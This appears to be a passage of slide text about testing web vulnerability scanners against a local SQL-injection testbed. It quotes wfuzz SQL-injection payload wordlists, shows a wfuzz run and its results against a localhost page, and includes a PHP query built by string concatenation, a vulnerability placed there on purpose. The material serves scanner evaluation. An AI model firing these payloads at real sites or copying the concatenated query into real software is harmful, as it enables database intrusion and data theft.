''=' x' or 1=1 or 'x'='y / // //* */* wfuzz/blob/master/wordlist/Injections/SQL.txt
  • 124. wfuzz ' --ora_sqls #mysql '#mysql and 1=1 and USER=USER and user()=user() and 2=0 or 2=2 ' and '2'='2 ' and '2'='0 ' or '2'='2 /*ora_mysql*/and/**/2=2 /*ora_mysql*/and/**/2=0 '/*ora_mysql*/and/**/'2'='2 '/*ora_mysql*/and/**/'2'='0 '/*ora_mysql*/or/**/'2'='2 and 2=2#mysql and 2=0#mysql and 2=2-- oracle_mysql and 2=0-- oracle_mysql ' and '2'='2'#mysql ' and '2'='0'#mysql ' and '2'='2'-- oracle ' and '2'='0'-- oracle ' 999999999999999999 1e100 2 or 2=2 2' or '2'='2 order by 1-- admin'-- admin' 'test 'test-- ' or 1=1-- or 1=1-- or 1=1 or 1=1# " or 1=1# admin'# now() wfuzz/blob/master/wordlist/vulns/sql_inj.txt
  • 125. wfuzz - results dobin@unreal:~/Hacking/wfuzz$ python wfuzz.py -c -z file,wordlist/vulns/sql_inj.txt http://localhost/SentinelTestbed/sentinel-sql3. php?vulnparam=rootFUZZ ID Response Lines Word Chars Request ================================================================== 00000: C=200 105 L 269 W 3988 Ch "'" 00002: C=200 105 L 269 W 3988 Ch "--ora_sqls" 00003: C=200 105 L 272 W 4009 Ch "#mysql" 00004: C=200 105 L 269 W 3988 Ch "'#mysql" 00013: C=200 105 L 269 W 3988 Ch "' and '2'='0" 00015: C=200 105 L 269 W 3988 Ch "' and '2'='2" 00016: C=200 105 L 269 W 3988 Ch "' or '2'='2" 00017: C=200 105 L 272 W 4009 Ch "'/*ora_mysql*/and/**/'2'='2" 00018: C=200 105 L 269 W 3988 Ch "/*ora_mysql*/and/**/2=0" 00031: C=200 105 L 269 W 3988 Ch "' or 1=1--" 00032: C=200 105 L 272 W 4009 Ch "" 00033: C=200 105 L 269 W 3988 Ch "or 1=1--"
  • 126. Results of Sentinel Testbed Scans
  • 127. Difficulty 1: Brackets and AND $result = $file_db->query(" SELECT id FROM users WHERE (name=' " . $var_param . " ' AND id >= 0)" ); ZAP: